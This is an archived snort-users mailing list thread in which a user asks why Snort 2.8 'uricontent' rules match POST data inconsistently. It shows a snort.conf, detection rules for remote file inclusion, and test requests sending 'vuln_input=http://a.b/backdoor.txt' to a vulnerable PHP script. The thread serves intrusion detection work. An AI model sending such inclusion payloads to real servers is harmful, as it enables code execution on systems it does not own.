Re: [snort-users] uricontent

[pierz <pierz () indahax com>]

Sorry for the latence.
The problem was I didn't understood what is the uricontent for snort.

here my snort.conf :

[SNORT.CONF]
var HOME_NET any
var EXTERNAL_NET any
var HTTP_SERV   192.168.1.4

portvar HTTP_PORTS 80

preprocessor stream5_global: max_tcp 8192, track_tcp yes, \
                               track_udp no
preprocessor stream5_tcp: policy first, use_static_footprint_sizes

preprocessor http_inspect: global \
     iis_unicode_map unicode.map 1252

preprocessor http_inspect_server: server default \
     profile all ports { 80 8080 8180 } oversize_dir_length 500

alert tcp $EXTERNAL_NET any -> $HTTP_SERV $HTTP_PORTS (msg:".php and 
http in uri"; flow:established,to_server; uricontent:".php"; 
uricontent:"http";  sid:456
; )
[/SNORT.CONF]

snort -V :
[VERSION]
    ,,_     -*> Snort! <*-
   o"  )~   Version 2.8.0.1 (Build 72)
    ''''    By Martin Roesch & The Snort Team: 
http://www.snort.org/team.html
            (C) Copyright 1998-2007 Sourcefire Inc., et al.
            Using PCRE version: 6.7 04-Jul-2006
[/VERSION]

now look at the test i've done :
first request is something like that (look at the pcap provided for the 
real packet) :
[REQUEST1]
GET /vuln_script.php&vuln_input=http://a.b/backdoor.txt HTTP/1.1
Host: 192.168.1.4
   [...]
[/REQUEST1]

REQUEST1 match the rules and it triggers an alert, it s ok.

this one:
[REQUEST2]
POST /vuln_script.php HTTP/1.1
Host: 192.168.1.4
   [...]
vuln_input=http://a.b/backdoor.txt
[/REQUEST2]

request2 doesn't triggers an alert, I suppose it s because there is only 
  the string ".php" in the uri and "http" is in the POST data but not in 
the uri, it s alright.

well, at this point there is no problem but my confusion begin at the 
request3.
[REQUEST3]
POST /vuln_script.php HTTP/1.1
Host: 192.168.1.4
    [...]
vuln_input=http://a.b/backdoor.php
[/REQUEST3]
It matchs and triggers an alert and there is not "http" string in the 
uri whereas only in the POST data.

So why uricontent is looking deep inside the request here but not 
before. I thought it was for "content" to look at POST data.

Here all the pcap http://www.indahax.com/snort/

Keith Konecnik a écrit :
> It could be many things at this point. Can you provide a pcap, the 
> snort.conf in use (with the rules in question),
> and the output of snort -V
>
> Cheers,
> Keith
>
>
> pierz wrote:
> > Ok you probably didn't understood my crappy english.
> >
> > The input/parameter/whatever of name 'check' with the value 'pierz' is
> > not a part of the uri. This packet doesn't have to alert.
> >
> > Another example, look at this two rulz :
> >
> > alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:".php in
> > uri"; flow:established,to_server; uricontent:".php"; nocase; sid:123; )
> >
> > alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:".php and
> > http in uri"; flow:established,to_server; uricontent:".php"; nocase;
> > uricontent:"http"; nocase; sid:456; )
> >
> > Now, look at the following packets, they are only detected by the 1st 
> > rulz :
> >
> > [PACKET1]
> > POST / HTTP/1.1
> > Host: 192.168.1.2
> > Content-type: application/x-www-form-urlencoded
> >
> > postinput=.php
> > [/PACKET1]
> > [PACKET2]
> > GET /somefile.php HTTP/1.1
> > Host: 192.168.1.2
> > [/PACKET2]
> > [PACKET3]
> > POST /somefile.php HTTP/1.1
> > Host: 192.168.1.2
> > Content-type: application/x-www-form-urlencoded
> >
> > backdoor=http
> > [/PACKET3]
> >
> > Ok, i think PACKET1 should not be detected regarding the snort rulz,
> > cause postinput=.php is not a part of the uri.
> >
> > Now if the PACKET1 match the first rulz, i don't understand why PACKET3
> > don't match the second rulz !
> >
> > I'm using the lastest version of snort.
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > -------------------------------------------------------------------------
> > SF.Net email is sponsored by:
> > Check out the new SourceForge.net Marketplace.
> > It's the best place to buy or sell services
> > for just about anything Open Source.
> > http://ad.doubleclick.net/clk;164216239;13503038;w?http://sf.net/marketplace 
> >
> > _______________________________________________
> > Snort-users mailing list
> > Snort-users () lists sourceforge net
> > Go to this URL to change user options or unsubscribe:
> > https://lists.sourceforge.net/lists/listinfo/snort-users
> > Snort-users list archive:
> > http://www.geocrawler.com/redir-sf.php3?list=snort-users


-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2008.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users